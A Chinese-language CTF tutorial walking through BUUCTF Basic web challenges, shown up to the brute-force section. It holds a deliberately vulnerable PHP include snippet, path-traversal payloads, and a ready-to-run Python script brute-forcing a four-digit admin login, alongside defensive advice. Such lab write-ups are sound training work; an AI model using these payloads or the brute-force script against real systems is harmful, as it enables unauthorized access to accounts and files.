BUUCTF新手必看:5个Basic题目实战解析(附Python爆破脚本+SQLMap命令)
BUUCTF新手实战手册:从零到一掌握五大核心题型
如果你刚接触CTF,面对五花八门的题目感到无从下手,这篇文章就是为你准备的。我刚开始玩CTF时,也经历过同样的迷茫——看着别人轻松解题,自己却连题目在问什么都搞不清楚。后来我发现,其实很多看似复杂的题目,背后都有固定的套路和解题思路。今天我就以BUUCTF平台上的Basic系列题目为例,带你一步步拆解五种最常见的题型,并分享可以直接复用的脚本和命令。
这些题目虽然被归为“基础”级别,但它们覆盖了CTF中最核心的几种漏洞类型:本地文件包含、暴力破解、SQL注入、文件上传和PHP代码审计。掌握这些,你就有了应对大部分Web安全题目的基本能力。更重要的是,我会提供可以直接运行的Python脚本和SQLMap命令模板,让你在实践中快速上手,而不是停留在理论层面。
1. 本地文件包含:从路径穿越到flag获取
本地文件包含(Local File Inclusion,简称LFI)是Web安全中一个经典漏洞类型。简单来说,就是网站程序在包含文件时,没有对用户输入进行严格过滤,导致攻击者可以读取服务器上的任意文件。在BUUCTF的“BUU LFI COURSE 1”这道题中,我们就遇到了一个典型的LFI场景。
1.1 漏洞原理与发现
当你打开题目页面,看到的可能只是一段简单的PHP代码:
<?php highlight_file(__FILE__); if(isset($_GET['file'])) { $str = $_GET['file']; include $_GET['file']; } 这段代码的逻辑很直接:如果存在file参数,就把它包含进来。问题在于,开发者假设用户只会传入程序目录下的合法文件名,但实际情况是,攻击者可以通过路径穿越来访问其他目录的文件。
注意:在实际测试中,不要一上来就尝试读取/etc/passwd这样的敏感文件。虽然CTF题目中通常允许这样做,但在真实环境中,这可能会触发警报或违反法律。1.2 实战解题步骤
第一步:基础测试
首先尝试最简单的payload:
http://靶机地址/?file=flag 如果返回错误,说明当前目录下没有名为flag的文件。这时候不要灰心,LFI的乐趣才刚刚开始。
第二步:路径穿越尝试
使用../返回上一级目录:
http://靶机地址/?file=../flag 如果还是不行,可以尝试更多层级的穿越:
http://靶机地址/?file=../../../flag 第三步:直接访问根目录
最直接的方法是尝试根目录:
http://靶机地址/?file=/flag 在BUUCTF的这道题中,第三种方法通常能直接成功。但我要提醒你的是,在实际渗透测试中,情况往往更复杂。你可能需要结合其他技术,比如:
- 日志文件包含:通过包含Apache或Nginx的访问日志来执行代码
- PHP伪协议:使用
php://filter来读取文件内容 - Session文件包含:利用PHP的session机制
1.3 防御思路
理解了攻击方法,我们也要知道如何防御。作为开发者,你可以:
- 白名单验证:只允许包含特定的、预定义的文件
- 路径限制:禁止路径中包含
..等特殊字符 - 文件扩展名检查:确保包含的文件具有合法的扩展名
- 使用绝对路径:避免相对路径带来的不确定性
2. 暴力破解:当密码只有四位数字时
暴力破解(Brute Force)是最“暴力”也最直接的攻击方式——通过尝试所有可能的组合来找到正确的密码。在“BUU BRUTE 1”这道题中,我们面对的是一个四位数字密码的登录框。
2.1 场景分析
题目页面有一个简单的登录表单,当你输入用户名admin和错误密码时,会提示“密码错误,为四位数字”。这个提示非常关键,它告诉我们:
- 用户名很可能是
admin - 密码是四位纯数字
- 可能的组合范围是0000-9999,共10000种可能
2.2 Python爆破脚本实战
对于这种小范围的爆破,用Python写个脚本是最方便的。下面是我在实际解题中使用的脚本,你可以直接复制使用:
import requests import time # 目标URL url = "http://靶机地址/login.php" # 记录开始时间 start_time = time.time() # 遍历0000-9999 for i in range(10000): # 格式化密码为四位数字,如0001、0123等 password = f"{i:04d}" # 构造请求数据 data = { 'username': 'admin', 'password': password } try: # 发送POST请求 response = requests.post(url, data=data, timeout=5) # 打印尝试记录 print(f"[*] 尝试密码: {password}", end='\r') # 判断是否成功 if "密码错误" not in response.text: print(f"\n[+] 找到密码: {password}") print(f"[+] 响应内容:\n{response.text[:500]}") # 只打印前500字符 print(f"[+] 总耗时: {time.time() - start_time:.2f}秒") break except requests.exceptions.RequestException as e: print(f"\n[-] 请求失败: {e}") break # 如果循环结束还没找到 else: print("\n[-] 未找到正确密码") 这个脚本有几个实用的设计细节:
- 进度显示:使用
end='\r'让输出在同一行更新,更清晰 - 超时设置:避免某个请求卡住整个程序
- 异常处理:网络问题不会导致程序崩溃
- 性能考虑:单线程运行,避免被封IP
2.3 Burp Suite爆破方法
如果你更喜欢图形化工具,Burp Suite的Intruder模块是更好的选择。具体操作流程如下:
- 抓取登录请求:使用Burp的代理功能拦截登录请求
- 发送到Intruder:右键选择“Send to Intruder”
- 设置攻击位置:在Positions标签中,清除所有变量,只选中密码参数
- 配置Payload:
- Payload类型选择“Numbers”
- 范围设置为0到9999